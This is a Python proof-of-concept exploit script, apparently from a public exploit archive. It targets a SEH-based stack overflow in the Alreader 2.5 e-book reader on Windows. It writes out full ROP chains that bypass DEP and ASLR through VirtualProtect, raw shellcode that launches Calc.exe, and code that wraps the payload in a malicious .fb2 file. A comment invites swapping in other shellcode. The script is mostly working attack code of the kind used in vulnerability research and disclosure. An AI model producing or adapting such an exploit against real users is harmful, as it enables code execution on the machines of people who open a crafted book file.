Alreader 2.5 .fb2 – Based Stack Overflow (SEH) (ASLR + DEP Bypass)
#!/usr/bin/env python #************************************************************************************************************* # Exploit Title: Alreader 2.5 .fb2 SEH Based Stack Overflow (ASLR and DEP bypass) # Date: 25.10.2015 # Category: Local Exploit # Exploit Author: g00dv1n # Contact: g00dv1n.private@gmail.com # Version: 2.5 # Tested on: Windows XP SP3 / Windows 7 / Windows 8 # Vendor Homepage: http://www.alreader.com/index.php?lang=en # Software Link (ENG): http://www.alreader.com/download.php?file=AlReader2.Win32.en.zip # Software Link (RU): http://www.alreader.com/download.php?file=AlReader2.Win32.ru.zip # CVE: # Description: # Alreader 2.5 its free FB2 reader for Windows. # FB2 format its just XML. FB2 contain <author> <first-name> </first-name> </author> block. # Overflow occurs if you create a long name of the author. # App used WCHAR (1 char - 2 bytes ). If we create file in UTF-8 then app turn every single byte into two. # For example 41 41 - 00 41 00 41 # So We should use UTF-16. # # Also, we can use single null byte in payload. # # # # Instructions: # 1. Run this py script for generate AlReader-fb2-PoC-exploit.fb2 file. # 2. Run Alreader.exe # 3. Open AlReader-fb2-PoC-exploit.fb2 ( FILE -> Open ) # 4. Enjoy running Calc.exe # # Exploit owerview: # For bypass ALSR I used a ROP style. Main module Alreader2.exe non-ALSR. It also contain calls GetModuleHandleW # and GetProcAdress. So using this functions I can get pointer to call VirtualProtect to make stack executable and # run Shellcode. # # At overflow overwritten SEH. So we can control EIP. For this spray Jump Adress in payload # ( It is necessary to adjust the offset in different systems .) # Then to get control of the stack we need ADD to ESP some value. (ADD ESP, 808h). Then ESP will point to ROP NOP # ( It is necessary to adjust the offset in different systems .) # Then the control get ROP chain . # # Program have Russian (RU) and English (Eng) versions. # ROP chains for them the same but different addresses. ( addresses of ADD ESP, 808h and ROP NOP same for all versions ) # For a combination of two versions into one exploit I place two ROP chains one after another. # For RU version then an exception occurs, control passes first ROP chain. (ADD ESP, 808h RETN 4 then ROP NOPs ) # For Eng version after ADD ESP, 808h RETN 4 and ROP NOPs arises yet another exepiton and Call ADD ESP, 808h. # So ESP jump over first ROP chain. ROP NOP correct offset and Second ROP chain for Eng version, get control. # With these tricks, the exploit works correctly for both versions. # # Below is ANSI-diagram of the payload: # # =-------------------------= # | gdvn | just fan magic bytes # |-------------------------| # | | # | jmp from SEH adress | x 500 Spray Andress to Jump from oveeride SEH # | | (ADD ESP, 808h RETN 4) # |-------------------------| # | | # | ROP NOP | x 500 Spray ROP NOP (RETN) # | | # |-------------------------| # | | # | ROP chain for | # | RU version | # | | # |-------------------------| # | SHELLCODE | Run Calc.exe # |-------------------------| # | | # | ROP NOP | x 250 Spray ROP NOP (RETN) # | | # |-------------------------| # | | # | ROP chain for | # | ENG version | # | | # |-------------------------| # | SHELLCODE | Run Calc.exe # |-------------------------| # | | # | ROP chain for | # | ENG version | # | | # |-------------------------| # | | # | | # | Junk | 'A' x 6000 # | | # | | # =-------------------------= # # # # # #************************************************************************************************************** ####################################################################################################### from struct import * ####################################################################################################### file_result = "AlReader-fb2-PoC-exploit.fb2" ######################################################################################################## fuz_text = '' # init fuzzy string jmp_to = pack('<I',0x00442391 ) # 0x00442391 ADD ESP, 808h RETN 4 ret_NOP = pack('<I',0x00448147 ) # RETN ##################################### START CREATE ROP CHAINs ############################################ fuz_text += 'gdvn' # magic init bytes fuz_text += jmp_to * 500 # spray adr fuz_text += ret_NOP * 500 # spray RETN adr ####################################### ROP CHAIN FOR RUS VERSION ######################################## # Prepare to call GetModuleHandleW # EDI = GetModuleHandleW adr # ESI = ret adr # EBP = ptr to unicode 'kernel32.dll' ret_adr_after = pack('<I',0x0048ddd1 ) # 0x0048ddd1 : # ADD ESP,30 # RETN ( this need to correct ESP ) module_handlew_adr = pack('<I',0x004FC8FC ) # 0x004FC8FC GetModuleHandleW adr kernel32_u = pack('<I',0x0560944 ) # 0x0560944 ptr to unicode 'kernel32.dll' #0x004904a6 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text += pack('<I',0x004904a6 ) + module_handlew_adr + ret_adr_after + kernel32_u fuz_text += '\x41' * 4 fuz_text += pack('<I',0x004f831c ) # 0x004f831c # ADD ESP,24 # RETN fuz_text += '\x41' * 36 fuz_text += pack('<I',0x004b310d ) # 0x004b310d : # PUSHAD # RETN fuz_text += '\x41' * 28 # correct after ADD ESP,30 #Junk ################################################# fuz_text += pack('<I',0x004f831c ) # 0x004f831c # ADD ESP,24 # RETN fuz_text += '\x41' * 36 ################################################# #EAX = kernel32 base adr # Prepare to call GetProcAdress # EDI = GetProcAdress adr # ESI = ret adr # EBP = kernel32 base adr # ESP = ptr to ANSII 'VirtualProtect00' ret_adr_after = pack('<I',0x0048ddd1 ) # 0x0048ddd1 : # ADD ESP,30 # RETN ( this need to correct ESP ) get_proc_adr = pack('<I',0x0043C8B2 ) # 0x0043C8B2 - GetProcAdress # 0x004904A8 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text += pack('<I',0x004904A8 ) + get_proc_adr + ret_adr_after fuz_text += '\x41' * 8 fuz_text += pack('<I',0x004b9e9e ) # 0x004b9e9e : # XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN fuz_text += pack('<I',0x004b310d ) # 0x004b310d : # PUSHAD # RETN fuz_text += 'VirtualProtect' + '\x00' fuz_text += '\x41' * 17 # correct ESP pointer ######################################################## # Prepare registrs for Virtual protect call # EDI = ROP NOP # ESI = VirtualProtect adr # EBP = Ret adr # ESP = auto # EBX = 1 # EDX = 0x40 # ECX = lpOldProtect (ptr to W address) # Now in EAX VP adr fuz_text += pack('<I',0x00489cdd ) # 0x00489cdd, # PUSH EAX # POP ESI # RETN fuz_text += pack('<I',0x004a6392 ) # 0x004a6392, # POP EBX # RETN fuz_text += pack('<I',0x5DE58BD1 ) # 0x5DE58BD0, # EBX = 5DE58BD1 fuz_text += pack('<I',0x004e7d31 ) # 0x004e7d31, # SUB EBX,5DE58BD0 # RETN # EBX = 1 fuz_text += pack('<I',0x004fc23c ) # 0x004fc23c, # XOR EDX,EDX # RETN # EDX = 0 fuz_text += pack('<I',0x0040db04 ) * 64 # 0x0040db04, # INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40 fuz_text += pack('<I',0x0048c064 ) # 0x0048c064, # POP ECX # RETN fuz_text += pack('<I',0x00629eea ) # 0x00629eea, # &Writable location fuz_text += pack('<I',0x00487d6a ) # 0x00487d6a, # POP EDI # RETN fuz_text += pack('<I',0x004f4401 ) # 0x004f4401, # RETN (ROP NOP) fuz_text += pack('<I',0x004e6379 ) # 0x004e6379, # POP EBP # RETN ret_adr_after = pack('<I',0x004f831c ) # ret adr # 0x004f831c # ADD ESP,24 # RETN fuz_text += ret_adr_after fuz_text+= pack('<I',0x004ecfab ) # 0x004ecfab, # PUSHAD # RETN fuz_text += '\x41' * 32 # Correct poiter to ESP fuz_text += pack('<I',0x004a37bd ) # 0x004a37bd : # jmp esp fuz_text += '\x90' * 16 # NOP's :-) ##################################### END ROP CHAIN ######################################### ############################################################################################# #PASTE SHELLCODE HERE # Run Calc shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"); fuz_text += shellcode ############################################################################################# fuz_text += ret_NOP * 250 # spray RETN adr ############################################################################################# ############################### ROP CHAIN FOR ENG VERSION ################################### # Prepare to call GetModuleHandleW # EDI = GetModuleHandleW adr # ESI = ret adr # EBP = ptr to unicode 'kernel32.dll' ret_adr_after = pack('<I',0x004cad21 ) # 0x004cad21 : # ADD ESP,30 # RETN ( this need to correct ESP ) module_handlew_adr = pack('<I',0x004FC85C ) # 0x004FC85C GetModuleHandleW adr kernel32_u = pack('<I',0x00560724 ) # 0x00560724 ptr to unicode 'kernel32.dll' #0x00488ed6 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text += pack('<I',0x00488ed6 ) + module_handlew_adr + ret_adr_after + kernel32_u fuz_text += '\x41' * 4 fuz_text += pack('<I',0x004a8ee8 ) # 0x004a8ee8 # ADD ESP,24 # RETN fuz_text += '\x41' * 36 fuz_text += pack('<I',0x004b3ded ) # 0x004b3ded : # PUSHAD # RETN fuz_text += '\x41' * 28 # correct after ADD ESP,30 #Junk ################################################# fuz_text += pack('<I',0x004a8ee8 ) # 0x004a8ee8 # ADD ESP,24 # RETN fuz_text += '\x41' * 36 ################################################# #EAX = kernel32 base adr # Prepare to call GetProcAdress # EDI = GetProcAdress adr # ESI = ret adr # EBP = kernel32 base adr # ESP = ptr to ANSII 'VirtualProtect00' ret_adr_after = pack('<I',0x004cad21 ) # 0x004cad21 : # ADD ESP,30 # RETN ( this need to correct ESP ) get_proc_adr = pack('<I',0x0043C8B2 ) # 0x0043C8B2 - GetProcAdress # 0x00488ed6 : # POP EDI # POP ESI # POP EBP # POP EBX # RETN fuz_text += pack('<I',0x00488ed6 ) + get_proc_adr + ret_adr_after fuz_text += '\x41' * 8 fuz_text += pack('<I',0x004b9dfe ) # 0x004b9dfe : # XCHG EAX,EBP # SETE CL # MOV EAX,ECX # RETN fuz_text += pack('<I',0x004b3ded ) # 0x004b3ded : # PUSHAD # RETN fuz_text += 'VirtualProtect' + '\x00' fuz_text += '\x41' * 17 # correct ESP pointer ######################################################## # Prepare registrs for Virtual protect call # EDI = ROP NOP # ESI = VirtualProtect adr # EBP = Ret adr # ESP = auto # EBX = 1 # EDX = 0x40 # ECX = lpOldProtect (ptr to W address) # Now in EAX VP adr fuz_text += pack('<I',0x00489c3d ) # 0x00489c3d, # PUSH EAX # POP ESI # RETN fuz_text += pack('<I',0x00481c40 ) # 0x00481c40, # POP EBX # RETN fuz_text += pack('<I',0x5DE58BD1 ) # 0x5DE58BD0, # EBX = 5DE58BD1 fuz_text += pack('<I',0x004e7c91 ) # 0x004e7c91, # SUB EBX,5DE58BD0 # RETN # EBX = 1 fuz_text += pack('<I',0x004fc19c ) # 0x004fc19c, # XOR EDX,EDX # RETN fuz_text += pack('<I',0x0040db04 ) * 64 # 0x0040db04, # INC EDX # ADD AL,3B # RETN x 64 # EDX = 0x40 fuz_text += pack('<I',0x004f39dc ) # 0x004f39dc, # POP ECX # RETN fuz_text += pack('<I',0x0062909d ) # 0x0062909d, # &Writable location fuz_text += pack('<I',0x00495df4 ) # 0x00495df4, # POP EDI # RETN fuz_text += pack('<I',0x00483a02 ) # 0x00483a02, # RETN (ROP NOP) fuz_text += pack('<I',0x004fb3c6 ) # 0x004fb3c6, # POP EBP # RETN ret_adr_after = pack('<I',0x004a8ee8 ) # ret adr # 0x004a8ee8 # ADD ESP,24 # RETN fuz_text += ret_adr_after fuz_text+= pack('<I',0x004b3ded ) # 0x004b3ded, # PUSHAD # RETN fuz_text += '\x41' * 32 # Correct poiter to ESP fuz_text += pack('<I',0x004757a7 ) # 0x004757a7 : # jmp esp fuz_text += '\x90' * 16 # NOP's :-) fuz_text += shellcode ############################################################################################## fuz_text += '\x41' * 6000 # final junk ################################ GENERATE utf-16 fb2 file #################################### start = ''' <?xml version="1.0" encoding="unicode-utf_16"?> <FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink"> <description> <title-info> <author> <first-name> ''' end = ''' <middle-name/> <last-name/> </author> <book-title>EXPLOIT TEST</book-title> </title-info> </description> </FictionBook> ''' start_u = start.encode('utf-16') end_u = end.encode('utf-16') fout = open(file_result, 'wb') fout.write(start_u) fout.close() fout = open(file_result,'ab') fout.write(fuz_text) fout.close() fout = open(file_result,'ab') fout.write(end_u) fout.close() print "[*] File successfully created !!\n\n" |